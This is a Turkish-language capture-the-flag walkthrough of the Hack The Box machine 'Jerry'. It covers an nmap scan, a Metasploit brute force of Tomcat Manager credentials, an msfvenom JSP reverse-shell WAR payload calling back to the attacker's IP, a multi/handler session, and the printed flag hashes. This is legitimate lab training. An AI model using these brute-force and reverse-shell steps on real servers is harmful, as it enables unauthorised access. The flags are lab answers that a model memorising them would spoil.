

JERRY WALKTHROUGH

Name	Maker(s)	OS	IP Address	Difficulty	Ratings
Smasher	dzonerzy	Linux	10.10.10.89		211 8
Jerry	mrh4sh	Windows	10.10.10.95		5028 783
Mischief	trickster0	Linux	10.10.10.92		385 49
Hawk	mrh4sh	Linux	10.10.10.102		1068 40

Yukarıdaki resimde de görüldüğü gibi Jerry isimli makine 10.10.10.95 IP adresine sahip. Bu IP adresini nmap ile tarıyoruz.

```
root@kali:~/Desktop# nmap -sS -sV -p- 10.10.10.95
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-16 06:01 EST
Nmap scan report for 10.10.10.95
Host is up (0.080s latency).
Not shown: 65534 filtered ports
PORT      STATE SERVICE VERSION
8080/tcp  open  http    Apache Tomcat/Coyote JSP engine 1.1

Service detection performed. Please report any incorrect results at https://nmap.org/su
bmit/ .
Nmap done: 1 IP address (1 host up) scanned in 120.06 seconds
root@kali:~/Desktop#
```

8080 portunda Tomcat'in çalıştığı görülmektedir. Login ekranına brute-force saldırısı ile username ve password öğrenilebilir. Bunun için msfconsole ' da yer alan **auxiliary/scanner/http/tomcat_mgr_login** yardımcı modülünü kullanacağız.

```
[*] 10.10.10.95:8080 - LOGIN FAILED: root:vagrant (Incorrect)
[*] 10.10.10.95:8080 - LOGIN FAILED: tomcat:admin (Incorrect)
[*] 10.10.10.95:8080 - LOGIN FAILED: tomcat:manager (Incorrect)
[*] 10.10.10.95:8080 - LOGIN FAILED: tomcat:role1 (Incorrect)
[*] 10.10.10.95:8080 - LOGIN FAILED: tomcat:root (Incorrect)
[*] 10.10.10.95:8080 - LOGIN FAILED: tomcat:tomcat (Incorrect)
[+] 10.10.10.95:8080 - Login Successful: tomcat:s3cret
[*] 10.10.10.95:8080 - LOGIN FAILED: both:admin (Incorrect)
[*] 10.10.10.95:8080 - LOGIN FAILED: both:manager (Incorrect)
[*] 10.10.10.95:8080 - LOGIN FAILED: both:role1 (Incorrect)
[*] 10.10.10.95:8080 - LOGIN FAILED: both:root (Incorrect)
[*] 10.10.10.95:8080 - LOGIN FAILED: both:tomcat (Incorrect)
```

Bu yardımcı modül **USERPASS_FILE** ' ı otomatik olarak getirdiği için set etmemiz gereken tek yer **RHOSTS** kısmı kalıyor. **RHOSTS** kısmını da 10.10.10.95 ile set ettikten sonra "run" diyerek atağı başlatıyoruz. Yukarıdaki resimde de görüldüğü gibi **tomcat:s3cret** ile giriş yapılabilmektedir.

Giriş yapmak için 10.10.10.95 IP adresinin 8080 portuna gidiyoruz. "Manager App" kısmına tıkladığımızda bizden username ve password istiyor. Bizde yardımcı modülün bulduğu username ve password'u login kısmına giriyoruz.

Authentication Required

http://10.10.10.95:8080 is requesting your username and password. The site says: "Tomcat Manager Application"

User Name:

Password:

Biraz aşağılara indiğimizde WAR dosyası deploy edebileceğimizi görüyoruz.

Deploy

Deploy directory or WAR file located on server

Context Path (required):

XML Configuration file URL:

WAR or Directory URL:

WAR file to deploy

Select WAR file to upload No file selected.

Şimdi yapmamız gereken msfvenom ile bir yük oluşturup buraya deploy etmek. Daha sonra msfconsole'un **exploit/multi/handler** modülü ile dinleme yaptıktan sonra deploy ettiğimiz yükü tetikleyeceğiz ve böylelikle karşı sistemden bir adet session almış olacağız.

```
root@kali:~/Desktop# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.13.227 L
PORT=7654 -f war > jerry.war
Payload size: 1106 bytes
Final size of war file: 1106 bytes
root@kali:~/Desktop#
```

/host-manager	None specified	Tomcat Host Manager Application	true	<u>0</u>
/jerry	None specified		true	<u>4</u>
/manager	None specified	Tomcat Manager Application	true	<u>11</u>

```

root@kali:~/Desktop# msfconsole -q
msf > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD java/jsp_shell_reverse_tcp
PAYLOAD => java/jsp_shell_reverse_tcp
msf exploit(multi/handler) > set LPORT 7654
LPORT => 7654
msf exploit(multi/handler) > set LHOST 10.10.13.227
LHOST => 10.10.13.227
msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.13.227:7654
[*] Command shell session 1 opened (10.10.13.227:7654 -> 10.10.10.95:49221) at 2018-11-16
:29 -0500

id
id

C:\apache-tomcat-7.0.88>

```

Yukarıdaki resimde de görüldüğü gibi session açıldı. Şimdi ise user.txt ve root.txt içeriğinin olduğu text dosyasının içeriğini okumak kaldı.

```

Directory of C:\Users\Administrator\Desktop\flags

06/19/2018  06:09 AM    <DIR>          .
06/19/2018  06:09 AM    <DIR>          ..
06/19/2018  06:11 AM                88 2 for the price of 1.txt
               1 File(s)                88 bytes
               2 Dir(s) 27,604,467,712 bytes free

C:\Users\Administrator\Desktop\flags>more "2 for the price of 1.txt"
more "2 for the price of 1.txt"
user.txt
7004dbcef0f854e0fb401875f26ebd00

root.txt
04a8b36e1545a455393d067e772fe90e

C:\Users\Administrator\Desktop\flags>

```

Yukarıdaki resimde de görüldüğü gibi C:\Users\Administrator\Desktop\flags yolunda "2 for the price of 1.txt" isiminde bir txt dosyası var. Bu dosyanın içeriğini "more" ile okuduğumuzda bize hem user'ın hem de root'un hash değerini veriyor.